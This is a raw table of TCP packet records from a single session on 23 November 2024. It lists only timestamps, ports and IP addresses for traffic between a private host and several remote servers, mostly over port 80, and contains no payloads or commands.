Nov 23, 2024 21:15:44.120892048 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.120932102 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.123229980 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.123277903 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.125591040 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.126097918 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.127867937 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.128321886 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.129302025 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.130189896 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.130321980 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.132713079 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.132991076 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.134824991 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.135329962 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.137164116 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.137217045 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.139491081 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.140938997 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.141921997 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.142265081 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.144160986 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.144167900 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.145143986 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.146524906 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.147624969 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.148843050 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.148855925 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.151158094 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.151415110 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.151638031 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.153502941 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.153909922 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.155813932 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.155945063 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.155992985 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.156069040 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.158111095 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.158185005 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.158353090 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.160459042 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.160542965 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.160691977 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.162802935 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.162892103 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.163012981 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.165141106 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.165204048 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.165869951 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.167480946 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.167572021 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.167629957 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.169859886 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.169969082 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.170022964 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.172101021 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.172246933 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.174559116 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.174784899 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.175193071 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.176809072 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.176903009 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.176950932 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.179095984 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.179157972 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.279068947 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.279309034 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.279386044 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.280014038 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.280184984 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.280241966 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.281939030 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.282054901 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.282109022 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.283790112 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.284163952 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.284219027 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.285660028 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.285788059 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.285845041 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.287573099 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.287734985 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.287796021 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.289437056 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.289621115 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.289745092 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.291346073 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.291824102 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.293127060 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.293164015 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.293236017 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.293292046 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.294972897 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.295221090 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.295345068 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.296787977 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.296999931 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.297048092 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.298579931 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.298734903 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.298791885 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.300354958 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.300576925 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.300661087 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.302117109 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.302517891 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.302613020 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.303832054 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.303961039 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.304053068 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.305592060 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.306138992 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.306246042 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.307339907 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.307497025 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.307543039 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.309109926 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.309695005 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.309762001 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.310853958 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.311122894 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.311208963 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.312633038 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.312738895 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.312793970 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.314390898 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.314557076 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.316159010 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.316296101 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.317922115 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.318312883 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.319677114 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.319856882 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.321491003 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.321835995 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.323216915 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.323283911 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.324918985 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.325026035 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.326709032 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.327297926 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.328507900 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.328624010 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.328900099 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.329237938 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.329237938 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.330193043 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.330281019 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.330332994 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.331948996 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.332072973 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.333699942 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.333884001 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.335500002 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.335669041 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.337220907 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.337888956 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.338980913 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.339253902 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.340742111 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.340873003 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.341356039 CET	443	49779	34.117.188.166	192.168.2.8
Nov 23, 2024 21:15:44.341367006 CET	443	49779	34.117.188.166	192.168.2.8
Nov 23, 2024 21:15:44.342513084 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.342844009 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.344253063 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.344525099 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.345180988 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.345417976 CET	49779	443	192.168.2.8	34.117.188.166
Nov 23, 2024 21:15:44.345530987 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.345530987 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.346019030 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.346358061 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.346402884 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.347778082 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.348748922 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.348952055 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.349522114 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.349627018 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.349785089 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.351330996 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.351517916 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.351567030 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.353066921 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.353457928 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.354835987 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.355535030 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.356570005 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.356986046 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.358329058 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.358485937 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.360073090 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.360156059 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.360704899 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.360791922 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.361844063 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.362010002 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.362062931 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.363717079 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.363981962 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.364123106 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.365348101 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.365586042 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.367117882 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.367232084 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.375899076 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.413451910 CET	443	49776	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:44.413527966 CET	443	49776	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:44.429191113 CET	49776	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:44.429517984 CET	49776	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:44.429517984 CET	49776	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:44.429543018 CET	443	49776	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:44.429558039 CET	443	49776	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:44.436022997 CET	443	49772	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:44.436125040 CET	443	49772	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:44.444813013 CET	49772	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:44.450778961 CET	49772	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:44.450798988 CET	443	49772	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:44.480525970 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.480597019 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.481368065 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.481481075 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.483078003 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.483736992 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.483745098 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.484967947 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.485466003 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.485589981 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.487212896 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.487535954 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.489073992 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.489202976 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.490748882 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.490926027 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.491807938 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.492516041 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.492654085 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.494365931 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.494457006 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.495991945 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.496104002 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.497801065 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.497869015 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.498517036 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.499526978 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.500396013 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.501282930 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.502105951 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.503030062 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.503772974 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.504879951 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.505021095 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.506606102 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.506764889 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.508327007 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.508486032 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.510087967 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.510337114 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.511845112 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.511965990 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.513648987 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.513870955 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.514059067 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.515337944 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.515595913 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.517112970 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.517261982 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.519197941 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.519279003 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.520447969 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.520600080 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.520667076 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.520817995 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.520930052 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.522445917 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.522958994 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.523617029 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.524190903 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.524321079 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.525583982 CET	49787	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:44.525623083 CET	443	49787	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:44.525877953 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.526010990 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.527653933 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.527784109 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.529342890 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.529414892 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.529493093 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.529541016 CET	49787	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:44.529619932 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.529872894 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.530349016 CET	49787	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:44.530359030 CET	443	49787	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:44.530656099 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.531269073 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.532032967 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.532394886 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.533416986 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.533451080 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.534768105 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.534996986 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.536235094 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.536355019 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.537566900 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.537607908 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.538897038 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.539300919 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.540240049 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.540311098 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.541614056 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.541723967 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.543004036 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.543170929 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.544332981 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.544536114 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.545141935 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.545511007 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.545540094 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.545567036 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.545712948 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.545758963 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.546293020 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.547111988 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.547219992 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.547280073 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.548474073 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.548527002 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.549372911 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.549885988 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.549894094 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.549959898 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.551198959 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.551296949 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.552422047 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.552548885 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.552556038 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.552613020 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.553965092 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.554100037 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.554516077 CET	80	49771	185.215.113.16	192.168.2.8
